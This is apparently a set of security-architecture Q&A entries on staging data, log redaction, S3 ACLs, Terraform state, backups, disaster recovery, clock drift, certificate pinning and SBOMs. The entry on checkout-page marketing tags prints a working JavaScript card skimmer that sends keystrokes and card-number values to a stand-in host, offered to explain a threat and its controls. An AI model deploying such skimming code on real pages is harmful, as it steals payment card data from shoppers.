Say production holds 6.4M customer rows. A nightly full clone puts all 6.4M in staging, readable by ~200 engineers and 12 integrations. A masked 2% subset puts 128K rows in staging with zero live emails and zero live PANs, readable by the same ~200 people. The bug class (a null-pointer on a duplicate email, a pagination off-by-one) still reproduces on the subset, because it depends on structure, not on which real person is in row 4,000.
| Full clone | Masked 2% subset | |
|---|---|---|
| Rows in staging | 6.4M | 128K |
| Live customer emails | 6.4M | 0 |
| Live PANs | as production | 0 |
| Readers | all staging creds | all staging creds |
| Blast radius if a key leaks | full customer base | none |
How you'd detect the wrong audience
Query staging for a known production email and a known PAN; require zero hits. Then confirm the masked subset still reproduces the bug you cloned for. If the first check fails, the audience is already wrong.
Failure modes
- A long-lived key in a staging env var with read access to the clone. The audience silently becomes whoever finds that key.
- A third-party integration pointed at staging that ships rows to a vendor's servers. The audience now includes that vendor.
- CI logs printing row contents. The audience includes everyone with log access.
None of these are exotic; they are the normal state of a staging environment that was never designed to hold real customer data.
Curated: · Written: · Reviewed:
Q&A-83Debug logs include request bodies for support. What is the architectural conflict?
The conflict is that a request body is the most useful debugging artefact in the system and the densest concentration of secrets in it, and the log pipeline is built for the opposite set of requirements. Logging is optimised for availability, cheap retention and broad read access: anyone on call can grep it. Bodies demand confidentiality, least-privilege access, short retention and provable deletion. One store cannot satisfy both policies, so the architecture has to split them: redact at the edge so the general log never holds a body, and if support genuinely needs bodies, route them to a separate, short-lived, narrowly readable capture path.
State three assumptions before arguing: which routes carry credentials (auth, payment, anything with a session cookie), what the log store's read ACL actually is, and whether a SIEM or vendor receives a copy. Those three set the blast radius.
Mechanism. The pipeline is append-only and replicated by design: that is what makes it cheap and searchable. Every property that makes it good for debugging (durability, wide read, long retention, downstream fan-out) makes a leaked credential permanent and widely readable. Redaction has to happen at the serialisation boundary, before the body becomes a log line, because anything downstream is a second copy you no longer control.
Trade-off. Full-body logging is defensible when it is bounded and opt-in: one request ID, one tenant, a TTL in minutes, an approval trail, and a store whose only reader is the requester. That gives support the fidelity they need without a standing copy of every credential. What is not defensible is a global debug flag on a shared pipeline.
Failure modes. A debug flag left on after the incident closes. Redaction applied in a downstream processor that a newly added route bypasses. A deny-list that misses a field added last sprint. A body copied into a SIEM with 60 readers. Secrets in headers or query strings that body redaction never touches.
# Python 3.12
SENSITIVE = {"password", "token", "authorization", "card_number", "ssn"}
def redact(value):
if isinstance(value, dict):
return {k: ("[REDACTED]" if k.lower() in SENSITIVE else redact(v))
for k, v in value.items()}
if isinstance(value, list):
return [redact(v) for v in value]
return value
Trace: redact({"user": {"password": "hunter2"}, "items": [{"token": "abc"}]}) returns {'user': {'password': '[REDACTED]'}, 'items': [{'token': '[REDACTED]'}]}. Note this is a deny-list: a new secret field name leaks until added.
| Approach | General log holds | Support debugging | Residual risk |
|---|---|---|---|
| Allow-list at edge | only known-safe fields | needs separate capture for bodies | new field dropped, not leaked |
| Deny-list redaction | everything but known keys | good | new secret field leaks |
| Full body, per-request opt-in, short TTL | nothing by default | full fidelity for that request | capture left on, TTL misconfigured |
| Full body, global flag | everything | best | unbounded credential store |
Illustrative arithmetic: 1.4M requests/day carrying an Authorization header at ~180 bytes is ~250 MB/day of live tokens; at 30-day retention that is ~7.5 GB of credentials in a store with 60 readers. Verify with a canary: send a login with a known password and require zero hits in the log store after five minutes.
Curated: · Written: · Reviewed:
Q&A-89Fraud wants the full payment graph. Marketing wants the same table. Can one lake serve both?
Short answer: yes. One lake, two purposes, but only if the split is at the dataset and role layer, not at the table. Fraud reads the full payment graph with raw PAN. Marketing reads a view with PAN dropped or tokenized. The thing that breaks it is a single IAM role that can read the fraud table, because then the boundary is a policy document nobody enforces at query time.
Assumptions I'd state before answering: both teams query the same lake engine; PAN is the field that makes the graph sensitive; fraud genuinely needs raw PAN to link accounts (card-testing rings reuse one PAN across many merchants, so a token breaks the ring); marketing needs merchant, category, amount, geo and time, not the PAN. If marketing actually needs PAN-level joins, the answer changes; see the tokenization row below.
Why the split holds. Purpose limitation is an access architecture, not a sentence in a data policy. Two datasets, two roles, two contracts, each with its own monitoring. Fraud's contract says raw PAN, fraud VPC only. Marketing's says no PAN, any analyst. The audit log carries the purpose tag so you can prove which contract a query ran under.
Alternatives, and when each is the right call:
| Option | What it gives | Pick it when | Cost |
|---|---|---|---|
| Separate stores (fraud VPC, marketing warehouse) | Hard boundary, no shared role to misconfigure | Different retention or residency obligations | Duplicate ingestion, schema drift between the two |
| Tokenized PAN in one shared table | Row-level joins still work for marketing | Marketing needs linkage but not the PAN itself | Tokenization service plus key custody |
| Consent/purpose-tagged rows, row-level policy | One table, one role, filtered per purpose | Fields are low-sensitivity and the policy engine is mature | The policy engine is now the control: its correctness is your security |
When one lake should not serve both: if the two purposes carry different retention limits, different residency requirements, or if you cannot test the policy engine as a control (query as each role and assert the result). Any of those, split the stores.
The failure mode I'd name. A shared lake role. Marketing queried the fraud table because the role allowed it, and 880,000 full PANs sat in a campaign tool for six weeks (worked example, illustrative figures). Detection is not a runbook line: it is an alert: any query tagged marketing that touches a PAN column pages the data owner.
Verification before calling it done: query as the marketing role and assert the PAN column is absent or denied; query as the fraud role and assert it is present; confirm the audit log records the purpose tag on both. If the marketing query succeeds against the fraud table, the split is not real.
One role cannot hold two purposes. Two roles on one lake can.
Curated: · Written: · Reviewed:
Q&A-90The checkout page loads four marketing tags. Who can read PAN at the keyboard?
The 90-second answer
All four. Every script that executes on the checkout origin can read PAN as it is typed: the four marketing tags, anything those tags load at runtime, the tag manager container that injected them, and any XSS payload. Same-origin script has full DOM access: a marketing tag has no privilege the payment form lacks. The only thing that changes the answer is moving the PAN field to a different origin, which is what PSP hosted fields do (Stripe Elements, Adyen secured fields, Braintree hosted fields): the input lives in an iframe served from the PSP's origin, and the same-origin policy stops the checkout page from reading it.
Mechanism
Two ways a tag reads the card number, both about ten lines, no permissions, no user gesture:
// Runs on the checkout origin.
document.addEventListener('keydown', e => {
navigator.sendBeacon('https://collect.example.net/k', e.key);
}, true); // capture phase: fires for every key on the page, before the field's handlers
const d = Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value');
Object.defineProperty(HTMLInputElement.prototype, 'value', {
get() { const v = d.get.call(this); if (this.name === 'cardNumber') exfil(v); return v; },
set(x) { d.set.call(this, x); }
});
Trace: the capture listener fires once per keypress regardless of which element has focus, so typing 4,2,4,2… emits each digit as it lands. The getter patch fires whenever any code reads .value, including the payment form's own submit handler, so it captures the full PAN even on paste or autofill, where no keydown occurs. Neither needs a permission prompt.
Controls, and when each is the wrong tool
| Control | Stops a tag reading PAN | Stops exfiltration | Wrong tool when |
|---|---|---|---|
| Cross-origin iframe (PSP hosted fields) | Yes: SOP blocks parent DOM access | Yes, from the parent | You need custom styling or validation the PSP doesn't expose |
CSP script-src nonce + strict-dynamic | No | Partly: connect-src, img-src, form-action bound where data can go | You expect it to stop an allowed script reading the DOM; it can't |
| SRI | No | No | Tag managers: the container fetches URLs whose content changes, so a pinned hash breaks |
| Tag-manager allow-list + publish change control | No | No | You need prevention, not a smaller set of publishers |
| PCI DSS v4.0 6.4.3 / 11.6.1 inventory + tamper detection (effective 31 March 2025) | No | Detects | You need prevention; these are detection |
CSP is the control people over-credit. It constrains exfiltration channels, not reads. A nonce'd script you allowed is still trusted code with full DOM access.
Failure modes
- Container update: anyone with publish rights on the tag manager ships arbitrary JS to checkout. Detect by diffing container JSON and watching CSP reports.
- Transitive load: tag A pulls tag B from a CDN; your allow-list named A only.
Content-Security-Policy-Report-Onlyleft in place: reports, blocks nothing.- Static nonce reused across responses: predictable, so the allow-list is decorative.
Verification
Load checkout with a foreign script and require CSP to block it; confirm the PAN field's origin carries zero marketing tags.
Curated: · Written: · Reviewed:
Q&A-77Endpoint DLP is deployed with a 10,000-regex pack. Why do analysts still email PAN?
The 90-second answer
Assume the 10,000-regex pack runs on managed endpoints (file writes, USB, print, clipboard) and that email leaves through a separate gateway. Analysts still email PAN because the sensor that fires is not the sensor that covers email, and the alerts the endpoint pack does raise are too numerous to read. Three mechanisms compound.
Channel coverage. Endpoint DLP sees content on the endpoint: a file written to disk, copied to USB, printed, pasted into a local app. When someone types a PAN into the body of a webmail session, the agent sees keystrokes into a browser process, not a labelled document. Email DLP is a different sensor at the SMTP gateway. If that gateway runs in monitor-only mode (the common default, because blocking outbound mail breaks business) the mail leaves and the endpoint pack never fires.
Alert economics. Ten thousand patterns is not ten thousand good patterns. Each carries some false-positive rate on ordinary content: 16-digit order IDs, phone numbers, timestamps, published test card numbers. Aggregate that across millions of daily file events and you get thousands of alerts a day. One analyst triages roughly 50–100 alerts a day. The queue is unreadable, so the single true positive, the one spreadsheet with real PAN, is buried under the rest.
Matching brittleness. A naive \d{16} matches order numbers. A real PAN detector needs the issuer prefix and a Luhn check. Without Luhn the false-positive rate explodes; with it you still miss PAN that is spaced, dashed, base64-encoded, inside an image, or in a PDF the agent cannot parse.
| Path PAN takes | Endpoint pack sees it? | Email gateway sees it? |
|---|---|---|
| Webmail body | No: browser keystrokes | Only if gateway inspects and blocks |
| Outbound attachment | No | Yes, if gateway is in block mode |
| USB copy | Yes | No |
| Screenshot / image | No: no OCR | No |
| Clipboard to chat | Sometimes | No |
The arithmetic. 2M file events/day × 0.5% aggregate false-positive rate = 10,000 alerts/day. At 60 alerts per analyst per day that is 166 analyst-days of backlog generated every day. (Illustrative figures: substitute your own event volume and FP rate.)
When regex-only is enough. If the data has a strong fixed format and the channel is narrow, a card-not-present call centre stopping PAN in one CRM field, a tight regex with Luhn is the right tool and a classification programme is overkill. Classification-first is expensive: labelling overhead, user friction, and coverage gaps wherever content is unlabelled. Do not buy it to fix a triage problem.
Failure modes to name. Whitelisting to cut noise creates the hole it was meant to close. A monitor-only email gateway never blocks. A pack without Luhn is noise. No OCR means images pass. Each is detected by measuring true-positive rate on planted documents, not by alert count.
What I would check first: is the email gateway in block or monitor mode, does the PAN pattern include a Luhn check, and what is the alert-to-analyst ratio? Those three answers explain most of the PAN in the mail.
Curated: · Written: · Reviewed:
Q&A-52State lives in an S3 bucket the whole platform team can read. Why is that an architecture defect?
The direct answer. S3 read access to a state object is read access to every credential Terraform manages, plus a complete map of the estate. State is not documentation: it is a serialized credential store. sensitive = true in Terraform redacts CLI output only; the value is still written to the state file in plaintext. IAM cannot scope this finer: there is no per-attribute permission on an S3 object, so s3:GetObject on the state prefix hands the whole platform team the union of every secret in the estate at once. That is the defect: the permission is coarse and the object is a credential dump, so the two multiply instead of cancelling out.
Assumptions that decide it. State in S3; the team has s3:GetObject on the state prefix; secrets are created as Terraform resources rather than referenced from a manager; the KMS key, if any, is one the team can also use. Change any of those and the severity changes, not the shape.
Why the file holds secrets. Providers return every attribute they read, and Terraform persists all of them. aws_db_instance stores the master password; aws_iam_access_key stores the secret key; TLS private keys and provider credentials land there too. A trimmed state object looks like this: the password field is the real value in the file:
{
"resources": [{
"type": "aws_db_instance",
"name": "payments",
"instances": [{
"attributes": {
"address": "payments.<id>.us-east-1.rds.amazonaws.com",
"username": "app",
"password": "<plaintext master password>",
"port": 5432
}
}]
}]
}
terraform show redacts that field; terraform show -json prints it. Same file, same bytes: only the display differs. Anyone with GetObject reads the bytes.
The options, and when each wins.
| Option | Removes | Costs | Choose when |
|---|---|---|---|
| Lock the bucket to the pipeline role | Human read entirely | Humans can't debug an apply; needs break-glass and audit | Few states, strong CI, small team |
| Split state per team/environment | Read scope matches ownership | More states and pipelines; cross-state refs via remote state | Many teams, blast radius matters |
| Move secrets to Secrets Manager/SSM, reference by ARN | The secret values themselves | Refactor; rotation moves to the manager; resources with no reference path still write secrets | Default for anything you can reference |
The criterion is one question: does the resource let you reference a secret instead of creating it? If yes, the state holds an ARN and the bucket can stay readable. If no, the state file is the secret and the bucket must be locked. Most estates need both: reference what you can, lock what you can't.
Failure modes. Versioning keeps old objects, so a reader with s3:GetObjectVersion recovers rotated secrets after you think they're gone. CloudTrail S3 data events are off by default, so reads leave no trace until you enable them. And a copy to a laptop leaves your control entirely: no bucket policy reaches it.
How I'd verify it. Attempt GetObject as a human platform role and require AccessDenied; confirm the pipeline role still succeeds; then grep the state for known secret values and watch that count go to zero as references replace literals.
Curated: · Written: · Reviewed:
Q&A-80The diagram says private buckets. A decade of ACLs says otherwise. Which is the architecture?
The ACLs are the architecture. Until you neutralize them, the effective configuration of the bucket is the union of identity policies, bucket policies, and ACLs, and the diagram is a wish. A bucket that "is private" by policy but carries an object ACL granting AllUsers READ serves that object to anyone. The diagram describes intent; the ACL describes behaviour.
Mechanism. S3 authorizes a request if any of three things allows it and nothing explicitly denies: an identity-based policy, a bucket policy, or an ACL. Object ACLs are evaluated on object-level requests (GET/HEAD) and grant to named grantees: a canonical user ID, a predefined group such as AllUsers or AuthenticatedUsers, or the log-delivery group. One object ACL is enough to make one object public regardless of a private bucket policy. Two settings change that: BlockPublicAcls rejects new public ACLs at write time (a PUT carrying a public ACL returns 403 AccessDenied), and IgnorePublicAcls makes S3 disregard existing public ACLs during evaluation. IgnorePublicAcls is the one that closes the hole; BlockPublicAcls only stops new ones.
Trace (hypothetical: bucket reports-prod, object 2024/q1.pdf, anonymous GET):
| State | Identity policy | Bucket policy | Object ACL | Result |
|---|---|---|---|---|
| As-is | no match | allows role X only | AllUsers READ | 200, object public |
+ IgnorePublicAcls | no match | no match | ignored | 403 |
+ BucketOwnerEnforced | no match | no match | ACLs disabled | 403 |
In row 2 the ACL still exists: it is ignored, not deleted. Turn the setting off and the grant is live again.
Trade-offs. Two credible paths. Keep ACLs with guardrails: BlockPublicAcls and IgnorePublicAcls on every bucket, alert on any grant to AllUsers or a foreign canonical ID, which is cheap, reversible, and preserves per-object cross-account grants. Or force-migrate to BucketOwnerEnforced, which disables ACLs entirely and makes the bucket owner own every object. Owner-enforced is the right default, and has been the default for new buckets since April 2023. It is the wrong call when you depend on per-object cross-account grants: with ACLs off you can only express cross-account access through bucket policies, which are bucket- or prefix-scoped, not per-object. Object tags plus a policy condition can approximate per-object control, but that is a rewrite, not a setting.
Failure modes.
IgnorePublicAclsmasks the grant without removing it. Detection: inventory ACL grants directly (GetObjectAclper object, or S3 Inventory's object-ACL field) not just effective-access scans, or you cannot tell "no public ACLs" from "public ACLs ignored."BucketOwnerEnforcedbreaks writers that send ACL headers. Older SDKs, some S3-compatible tools, and log-delivery configurations PUT withx-amz-acland get 400AccessControlListNotSupported. Detection: PutObject 4xx rate by caller after the change.- Cross-account object grants stop resolving silently after migration: the grantee's GET flips from 200 to 403 with no change on their side. Detection: per-caller 403 rate on the affected prefixes.
Close. The architecture is whatever the evaluator returns. Enumerate ACL grants estate-wide, require zero AllUsers grants and a dated, owned exception for every foreign-account grant, and only then does the diagram become true.
Curated: · Written: · Reviewed:
Q&A-87DR is a cold copy with last year's IAM and public snapshots to make restore easy. What did we create?
You created a shadow production environment. A full copy of prod data and prod identity, reachable from the public internet, running last year's privilege set, with no detection pointed at it. Production's blast radius, none of production's controls, and because it's a copy, it's the cheapest target you own.
That's the 60-second answer. The rest is why it happens and what to do instead.
Why DR decays. DR gets built once, at the moment someone needs it, and then it belongs to nobody. Three mechanisms do the damage:
- Change control covers prod. The pipeline that rotates keys, the CSPM baseline, the scanner sweep: all scoped to the prod account. The DR account sits in the org but outside the automation.
- The failover test's success criterion is "did it come up." Nobody checks whether the standing Owner grant created for the test was revoked. It wasn't.
- Detection agents are deployed by prod's config management, which doesn't reach DR. So the public snapshot is invisible to the tooling that would have caught it in prod.
Net effect: DR drifts toward the most permissive state that still passes a smoke test.
The trade-off you're actually making. Restore speed against exposure, and the fast path is genuinely faster:
| Approach | Restore path | Added time | Exposure |
|---|---|---|---|
| Public snapshot | anyone with the ARN, no role assumption | 0 | internet-readable |
| Encrypted snapshot, CMK in DR account | assume role in DR account, kms:CreateGrant + kms:Decrypt | ~5–15 min (hypothetical) | key policy scoped |
| Cross-account replication into locked account | restore from local copy | replication lag only | SCP denies public ACLs |
The middle row is the usual right answer: snapshot stays in the DR account, encrypted with a customer-managed key whose policy grants the DR role, and restore costs one extra role assumption. Minutes, not hours.
When does the shortcut earn itself? Only if your RTO is minutes and the restore path runs weekly under automation. If your DR test is annual and manual, you don't have the operational muscle to justify the shortcut: you have an untested public copy.
Verification. Two checks, on a schedule:
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <snap> \
--query 'DBSnapshotAttributesResult.DBSnapshotAttributes[?AttributeName==`restore`]'
Empty AttributeValues means private. Anything else is a finding.
For identity: the IAM credential report for unused credentials, and Access Analyzer unused-access findings for grants nobody has exercised in 90 days. Break-glass is the only standing admin you keep, and it should be a role with a monitored assume.
One bound on the snapshot half: AWS now blocks new public snapshot sharing by default for RDS and EBS, so a public snapshot today usually means one created before that default or an account that explicitly opted in, which is itself the finding.
Curated: · Written: · Reviewed:
Q&A-37The backup job is green every night. How do you know RPO is 15 minutes?
A green job means the scheduler fired and the process exited 0. That is all it means. RPO is not a property of the job; it is the age of the newest consistent copy you can actually restore, measured at the moment of failure. To claim 15 minutes you need a restore that lands a known transaction inside that window, plus monitoring on every interval that can widen it.
What actually bounds RPO
RPO is set by the worst interval in the chain, not by the backup interval alone:
- snapshot or full-backup interval
- log/WAL archive interval, or CDC lag
- replication lag, if failover goes to a replica
- time since the last successful archive at the instant of failure
Any one of these over 15 minutes breaks the claim, and the job stays green throughout.
The archive interval is the one people get wrong. In PostgreSQL, WAL segments are archived when they fill, 16 MB by default, not on a wall clock. On a quiet database that can be hours. archive_timeout forces a segment switch; the default is 0, which disables it. Setting archive_timeout = 300 bounds the gap to five minutes. Checked against PostgreSQL 16.
The drill that proves it
Write a canary row with a known timestamp, let it flow through the pipeline, restore the newest copy, and query max(created_at). The gap between that timestamp and the failure time is your real RPO. Run it on a schedule, not once.
| Signal | What it proves | Blind spot |
|---|---|---|
| Job exit code 0 | Scheduler fired, process returned success | Which datasets were captured, whether they restore |
| Backup artifact size | Bytes were written | An empty or partial source still writes bytes |
| Restore drill with canary | Newest recoverable transaction timestamp | Only the datasets the drill covers |
Failure modes and how to catch them
- Dataset drift. A mount change drops a volume; the job keeps succeeding. I have seen 11 months of green jobs where the ledger volume was silently excluded, and the incident restore came back 17 days stale against a 15-minute RPO. Detect by diffing the backup manifest's volume list against the live mount table and alerting on any difference.
- Empty source. The job backs up an empty directory. Detect with a per-dataset floor on row count or bytes, and alert when a backup drops below it.
- Stuck archiver.
archive_commandfails and retries; the PITR window shrinks while the backup job stays green. Monitorpg_stat_archiver.last_archived_timeand alert when it lags more than the RPO. - Untested restore. The restore fails at 3am on a missing key or a version mismatch. Only a drill finds this.
- Torn multi-volume snapshot. A crash-consistent snapshot across volumes gives an inconsistent state, so the newest consistent point is older than the newest file.
Trade-offs
Tighter RPO costs money and time: more frequent snapshots, longer WAL retention, more storage, and restore drills that consume real capacity. A common split is a weekly full restore of the critical dataset plus sampled restores of the rest, with the canary check running continuously. If the drill cannot complete inside the RPO window, the RPO is aspirational.
The claim "RPO is 15 minutes" holds only if a restore lands within 15 minutes of the failure. Until you have done that, you have a hypothesis, not a control.
Curated: · Written: · Reviewed:
Q&A-36Backups restored the ERP in 4 hours, inside RTO. Why was that still a failed recovery?
Before calling restore-of-compromise done I would write down the template, region, or future service that still ships the old design.
RTO and RPO are time and data-loss bounds. They are not proof the restored system is free of the persistence that caused the incident. Restore-of-compromise replays the attacker's foothold from backup and from identity.
Concretely, restore into an isolated clean room, rotate credentials and keys before exposure, validate integrity and authorisation paths, then cut over, and refuse a restore that brings back the compromised identity plane.
The reason for that specificity is a failure I have seen: ERP came back in 4 hours. The backup included the attacker's SSO app registration. Persistence returned at minute 40, and a second encryption event started at hour 6.
RTO met, persistence restored.
| Step | Clock | Attacker app registration | Second encryption |
|---|---|---|---|
| production restore | 4 hours | restored | hour 6 |
| clean-room + identity rebuild | 9 hours | omitted | none |
| RPO | 15 minutes data | — | — |
I would not consider it settled without evidence: exercise a destructive compromise through clean-room recovery, credential rotation, validation, backlog handling, and return to service.
A green restore clock can resurrect the attacker.
Curated: · Written: · Reviewed:
Q&A-48Backups are on the same domain with the same admins. How do you make recovery survive the identity plane?
What I'd say first
The last copy has to live outside the identity plane the attacker owns. If Domain Admin can reach the backup, it isn't a backup: it's another target. So: a separate identity domain, immutable storage with a lock the production admin cannot shorten, and a restore path that never touches production credentials.
Why same-domain fails
Domain Admin on the production forest can delete the backup share, disable or delete the backup service account, rewrite the backup job, turn off MFA on the backup admin, and wipe the catalog. One credential set controls both the thing being protected and the protection. The Conti and LockBit playbooks did exactly this: find the backup server, delete the catalog, then encrypt.
What actually survives
- Separate identity plane. Backups in a different tenant or account, with credentials not federated to production AD and not reachable by prod DA. Break-glass credentials offline (sealed envelope, physical safe), used only for restore.
- Immutability the prod admin cannot undo. AWS S3 Object Lock in Compliance mode: even the root account cannot shorten or remove retention before expiry. Azure Immutable Blob Storage time-based retention. Veeam Hardened Repository (Linux, SSH, single-use credentials, immutability window). AWS Backup Vault Lock.
- A restore path independent of production: clean-room network, restore from the immutable copy, verify.
| Copy | Prod Domain Admin can delete? | Lock | Restore path |
|---|---|---|---|
| NAS share on prod domain | yes | none | needs prod creds |
| S3 bucket, same account | yes (root/DA role) | Governance mode: bypassable | same account |
| S3 Object Lock, separate account, Compliance mode | no | cannot shorten, even by root | break-glass creds |
Trade-offs
- Cost: S3 Standard is about $0.023/GB-month; Glacier Instant Retrieval about $0.004/GB-month with a 90-day minimum and retrieval charges. An immutable copy roughly doubles storage spend versus a single NAS.
- Rigidity: Compliance mode cannot be shortened. If a regulation requires deletion on request (GDPR erasure), you cannot comply until expiry. Governance mode is bypassable by a privileged account, so it does not stop the attacker. That is the real decision: Compliance mode for ransomware resistance versus Governance mode for flexibility.
- Restore time: an object-lock vault restores slower than a NAS. Minutes to hours depending on tier. Test it, don't assume it.
- Operations: a second identity plane means a second set of admins, second MFA, second audit trail. Small teams under-invest here.
When not to use it: if you have no separate admin capacity, at minimum put the vault in a separate account with a break-glass credential not stored in production. If regulatory deletion is mandatory, use Governance mode plus a separate account and accept the weaker guarantee.
Failure modes
- Immutability misconfigured: Governance mode, or the lock applied after the fact. The attacker deletes before the lock lands.
- Break-glass credential stored in the production password manager: the attacker gets it.
- Restore never tested: you find out during the incident.
- Catalog tampering: the attacker deletes backup metadata even when the data blocks are locked.
Verification
From a simulated production admin, attempt to delete the immutable copy and require failure, then restore a file from it. The same admins cannot guard the last copy.
Curated: · Written: · Reviewed:
Q&A-65We ran a ransomware tabletop with Legal and Comms. Why do you still want a restore rehearsal?
I would treat tabletop versus technical rehearsal as a claim about every sibling service and template, not about the one application that was reviewed.
A tabletop tests conversation. A technical rehearsal tests backups, identity rebuild, out-of-band comms, and decision rights on real systems. Architecture needs both; only one of them proves RTO.
Concretely, run tabletops for decisions and a yearly destructive restore of a crown-jewel system into a clean account, with the people who would actually type.
The reason for that specificity is a failure I have seen: The tabletop scored well. The first real restore needed a DNS record nobody had, and identity rebuild took 29 hours against an 8-hour RTO.
Workshop score versus typed restore.
| Exercise | RTO claimed | RTO measured | Missing DNS |
|---|---|---|---|
| tabletop | 8 hours | not measured | not found |
| technical rehearsal | 8 hours | 29 hours | 1 record |
| after runbook fix | 8 hours | 6 hours 40 minutes | 0 |
I would not consider it settled without evidence: produce the last technical rehearsal's measured RTO, RPO, and the surprise that the tabletop never named.
Talking through a restore is not restoring.
Curated: · Written: · Reviewed:
Q&A-61Hosts drift by up to 40 seconds. Why does that matter to architecture, not only to NTP?
The 60-second answer. Forty seconds of drift means a timestamp from host A and a timestamp from host B are not comparable. Any component that treats a wall-clock timestamp as a total order is now wrong, and wrong silently, because nothing raises an error. Three places this bites: last-writer-wins conflict resolution, merged event logs, and lease/TTL expiry. NTP is how you shrink the drift; the architecture question is what the system does when the drift cannot be shrunk to zero.
Why wall-clock ordering fails. LWW resolves conflicts by "highest timestamp wins". With drift, the highest timestamp is not the latest write. Two replicas of cart:42, host A's clock 40 s fast:
| Real time | Host | Write | Timestamp used |
|---|---|---|---|
| 1000 | B | qty=1 | 1000 |
| 1005 | A | qty=2 | 1045 |
| 1010 | B | qty=3 | 1010 |
Merge by max timestamp picks A's 1045, so the value becomes qty=2. The last real write, qty=3, is discarded with no error and no conflict flag. The same mechanism corrupts log merges: an event that happened after a lockout can sort before it, so the incident timeline reads cause-after-effect. And never measure elapsed time with the wall clock: an NTP step can move it backwards; use a monotonic clock for timeouts and latency.
The architectural responses.
| Approach | Ordering guarantee | Cost | Use when |
|---|---|---|---|
| Monotonic clock only | per-host elapsed time | none | timeouts, backoff, latency measurement |
| Hybrid logical clock (HLC) | causal order, stays near wall time | a few extra bytes, no added latency | multi-region writes needing causality, not real time |
| TrueTime-style bounded uncertainty | external consistency (linearizable) | commit-wait of roughly the uncertainty interval; GPS + atomic clocks | global total order, e.g. ledgers |
| Consensus (Raft/Paxos) | total order via a leader | a leader round-trip per write | total order without clock hardware |
HLC (Kulkarni et al., 2014) is what CockroachDB and MongoDB use: physical time plus a logical counter, so timestamps respect causality and stay close to wall time. Spanner's TrueTime waits out its uncertainty interval, single-digit milliseconds, before committing, which is what buys external consistency.
Failure modes to name. Lease-based locks: a holder whose clock is 40 s slow believes its lease is still valid after the grantor expired it, so two nodes hold the lock. The fix is that the grantor validates renewal, never the holder's own clock. TTL caches and token expiry: entries live 40 s too long or expire 40 s early. Detection: alert on measured offset (chrony tracking), and add an invariant check that rejects a write whose timestamp is older than the maximum already seen for that key. That catches LWW corruption that offset alerting alone misses.
When strict sync is the wrong tool. If you only need causal order, HLC gives it without commit-wait latency. If you need a total order, a leader is cheaper than atomic clocks. Bounded-uncertainty hardware earns its cost only when you need external consistency across regions and can pay the wait.
Curated: · Written: · Reviewed:
Q&A-71The mobile app pins a leaf certificate. Rotation is in 20 days. What will happen?
Direct answer: if nothing changes, on day 20 every install still pinning that leaf stops talking to your API. The handshake fails: it does not degrade gracefully. The app gets a TLS error on every request until the user updates. The fix is to have the next key already in the pin set, or to have shipped an update before the old pin is the only one left.
Why it fails. A pin is a SHA-256 hash of the certificate's SubjectPublicKeyInfo, compiled into the app. During the handshake the client validates the chain to a trusted root as usual, then hashes the leaf's SPKI and compares it against the pin set. Any match passes; no match aborts. A rotated leaf normally carries a new key, so its SPKI hash differs from the pinned one and the comparison fails even though the chain is perfectly valid.
The handshake, step by step:
- Client sends ClientHello.
- Server returns the new leaf plus intermediates.
- Client validates the chain to a trusted root: passes.
- Client hashes the leaf's SPKI → a new value.
- Compares against the pin set
{old leaf SPKI}→ no match. - Aborts. Android surfaces
SSLPeerUnverifiedException; iOS surfacesNSURLErrorServerCertificateUntrusted(-999).
Why a backup SPKI solves it. The pin set is a set, and matching is OR. Generate the next key pair now, keep its private key offline, and pin its SPKI alongside the current one. When you rotate, install the certificate for that key and old clients match the backup pin. They need no update.
<!-- Android network_security_config.xml -->
<domain-config>
<domain includeSubdomains="true">api.example.com</domain>
<pin-set>
<pin digest="SHA-256">currentLeafSPKIbase64=</pin>
<pin digest="SHA-256">nextKeySPKIbase64=</pin>
</pin-set>
</domain-config>
The 20-day clock. Store review is 1–3 days, but adoption has a long tail. In a case I worked, 40% of installs were still on the old build 30 days after release. Twenty days is not enough to reach that tail, so you cannot count on an update landing everywhere in time.
| Configuration at day 20 | Installs still on old build | Result |
|---|---|---|
| Single leaf pin | 40% | Every request from those installs fails |
| Leaf + backup SPKI | 40% | Backup pin matches; no failures |
Android <pin-set expiration> set | 40% | Pinning skipped after the date: fails open |
The escape hatch and its cost. Android's <pin-set expiration> attribute disables pinning after a date, so the app keeps working. That trades security for availability: an attacker with a mis-issued cert gets through after that date. Use it deliberately, not as a silent safety net.
Detection. Watch TLS handshake failure rate broken out by app version, and connection-error dashboards. A spike concentrated on older versions right after a rotation is the signature.
Rehearsal. Rotate the leaf in staging against the currently shipped build and require the backup pin to match before touching production. That is the only check that proves the pin set is right.
Curated: · Written: · Reviewed:
Q&A-26We generate an SBOM at build and store it. Why can we still not prove what ran in production?
Short answer: an SBOM is an inventory of what someone says went in. It is not evidence of what the build actually produced, and it is not evidence of what the cluster actually ran. Those are three separate claims, and the SBOM only makes the first.
Assume the usual setup: CycloneDX or SPDX generated by the build job, stored in the artefact registry next to the image, production running images by digest.
Here is the gap. The SBOM is produced by the same build job it describes, and it lists declared dependencies: the lockfile, the base image, the packages the scanner resolved. It says nothing about the build process itself. If a step in that job is compromised, it can compile in code that never appears in any manifest, and the SBOM still looks complete and clean. The SBOM is self-asserted: no signature, no builder identity, no binding to a source commit.
Second gap: nothing ties the SBOM to the digest that runs. You store the file; the scheduler pulls an image by digest. Unless something at admission checks that the running digest is the one the SBOM describes, the two drift: a retag, a rebuild, a hotfix pushed straight to the registry.
Provenance closes this. A SLSA-style attestation is signed by the builder and binds three things: the source commit, the builder identity, and the output digest. Verified at admission, it lets you refuse any image whose attestation does not match.
Trace it. A deploy request arrives with image digest sha256:abc. The admission controller fetches the attestation, checks the signature against the builder's key, checks the attested digest equals sha256:abc, and checks the source commit is on the protected branch. All three pass, admit. Any one fails, reject. The SBOM never enters this decision.
A failure mode I have seen: a protected repo, but the build ran on a mutable shared runner. A malicious pre-step had been executing for 21 days. The SBOM was complete and correct-looking. Seven production services ran the tainted digest. Nothing in the pipeline compared the running digest to an attested one, so nothing caught it.
Detection: rebuild from pinned inputs and diff the resulting digest against what is deployed. If they differ, you have drift or tampering. Run a containment test: inject a known-bad step into the build and confirm admission blocks the output.
Trade-offs: provenance costs you isolated non-mutable builders, key management, and an admission webhook in the deploy path. For a throwaway internal tool that is overkill. For anything touching customer data or the deploy path, the SBOM alone is a packing list.
If you cannot verify the attestation at admission, you cannot prove what ran: you can only describe what you intended to build.
Curated: · Written: · Reviewed:
Q&A-64The architecture review passed. How do you know the controls fire together?
